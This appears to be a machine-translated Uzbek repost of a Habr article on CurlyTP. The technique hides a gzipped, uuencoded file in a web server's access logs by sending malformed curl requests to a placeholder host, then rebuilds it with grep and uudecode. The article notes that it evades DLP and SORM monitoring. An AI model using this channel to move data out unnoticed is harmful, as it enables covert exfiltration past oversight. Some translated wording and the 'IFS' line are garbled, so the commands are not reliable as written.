Server jurnallari orqali maxfiy xabarlar almashinuvi

Vikipediya ta'rifiga ko'ra, o'lik tomchi - bu maxfiy joydan foydalangan holda odamlar o'rtasida ma'lumot yoki ba'zi narsalarni almashish uchun xizmat qiluvchi fitna vositasi. G'oya shundan iboratki, odamlar hech qachon uchrashmaydilar - lekin ular hali ham operatsion xavfsizlikni ta'minlash uchun ma'lumot almashadilar.

Yashirin joy diqqatni jalb qilmasligi kerak. Shuning uchun, oflayn dunyoda ular ko'pincha ehtiyotkor narsalardan foydalanadilar: devordagi bo'sh g'isht, kutubxona kitobi yoki daraxtdagi bo'shliq.

Internetda ko'plab shifrlash va anonimlashtirish vositalari mavjud, ammo bu vositalardan foydalanish haqiqatining o'zi e'tiborni tortadi. Bundan tashqari, ular korporativ yoki hukumat darajasida bloklanishi mumkin. Nima qilish kerak?

Dasturchi Rayan Flowers qiziqarli variantni taklif qildi - yashirin joy sifatida istalgan veb-serverdan foydalaning. Agar o'ylab ko'rsangiz, veb-server nima qiladi? So'rovlarni qabul qiladi, fayllarni chiqaradi va jurnallarni yozadi. Va u barcha so'rovlarni qayd qiladi, hatto noto'g'ri!

Ma'lum bo'lishicha, har qanday veb-server deyarli har qanday xabarni jurnalda saqlashga imkon beradi. Gullar buni qanday ishlatishni hayron qoldirdi.

U ushbu variantni taklif qiladi:

  1. Matn faylini (maxfiy xabar) oling va xeshni hisoblang (md5sum).
  2. Biz uni kodlaymiz (gzip+uuencode).
  3. Biz serverga ataylab noto'g'ri so'rov yordamida jurnalga yozamiz.

Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt

[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh

Faylni o'qish uchun siz ushbu operatsiyalarni teskari tartibda bajarishingiz kerak: faylni dekodlash va ochish, xeshni tekshirish (xeshni ochiq kanallar orqali xavfsiz tarzda uzatish mumkin).

Bo'shliqlar bilan almashtiriladi =+=manzilda bo'sh joy qolmasligi uchun. Muallif CurlyTP deb ataydigan dastur elektron pochta qo'shimchalari kabi base64 kodlashdan foydalanadi. So'rov kalit so'z bilan amalga oshiriladi ?transfer?qabul qiluvchi uni jurnallardan osongina topishi uchun.

Bu holatda jurnallarda nimani ko'ramiz?

1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"

Yuqorida aytib o'tilganidek, maxfiy xabarni olish uchun siz operatsiyalarni teskari tartibda bajarishingiz kerak:

Remote machine

[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue

[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g

Jarayonni avtomatlashtirish oson. Md5sum mos keladi va fayl mazmuni hamma narsa to'g'ri dekodlanganligini tasdiqlaydi.

Usul juda oddiy. β€œUshbu mashqning maqsadi shunchaki fayllarni begunoh veb-so'rovlar orqali uzatish mumkinligini isbotlash va u oddiy matn jurnallari bilan har qanday veb-serverda ishlaydi. Aslini olganda, har bir veb-server yashiringan joy!” deb yozadi Flowers.

Albatta, usul faqat qabul qiluvchi server jurnallariga kirish imkoniga ega bo'lsa ishlaydi. Ammo bunday kirish, masalan, ko'plab xostlar tomonidan taqdim etiladi.

Undan qanday foydalanish kerak?

Rayan Flowersning aytishicha, u axborot xavfsizligi bo'yicha mutaxassis emas va CurlyTP uchun mumkin bo'lgan foydalanish ro'yxatini tuzmaydi. Uning uchun bu biz har kuni koβ€˜rib turgan tanish asboblardan noan’anaviy tarzda foydalanish mumkinligi haqidagi tushunchaning isboti xolos.

Aslida, bu usul boshqa server "yashirish" kabi bir qator afzalliklarga ega Digital Dead Drop yoki PirateBox: u server tomonida maxsus konfiguratsiyani yoki biron bir maxsus protokollarni talab qilmaydi - va trafikni kuzatuvchilar orasida shubha uyg'otmaydi. SORM yoki DLP tizimi siqilgan matn fayllari uchun URL manzillarini skanerlashi dargumon.

Bu xizmat fayllari orqali xabarlarni uzatish usullaridan biridir. Ba'zi ilg'or kompaniyalar qanday joylashtirganini eslashingiz mumkin HTTP sarlavhalaridagi dasturchi ishlari yoki HTML sahifalar kodida.

Server jurnallari orqali maxfiy xabarlar almashinuvi

Bu Pasxa tuxumini faqat veb-ishlab chiquvchilar ko'radi, chunki oddiy odam sarlavhalarga yoki HTML kodiga qaramaydi.

Server jurnallari orqali maxfiy xabarlar almashinuvi

Manba: www.habr.com

a Izoh qo'shish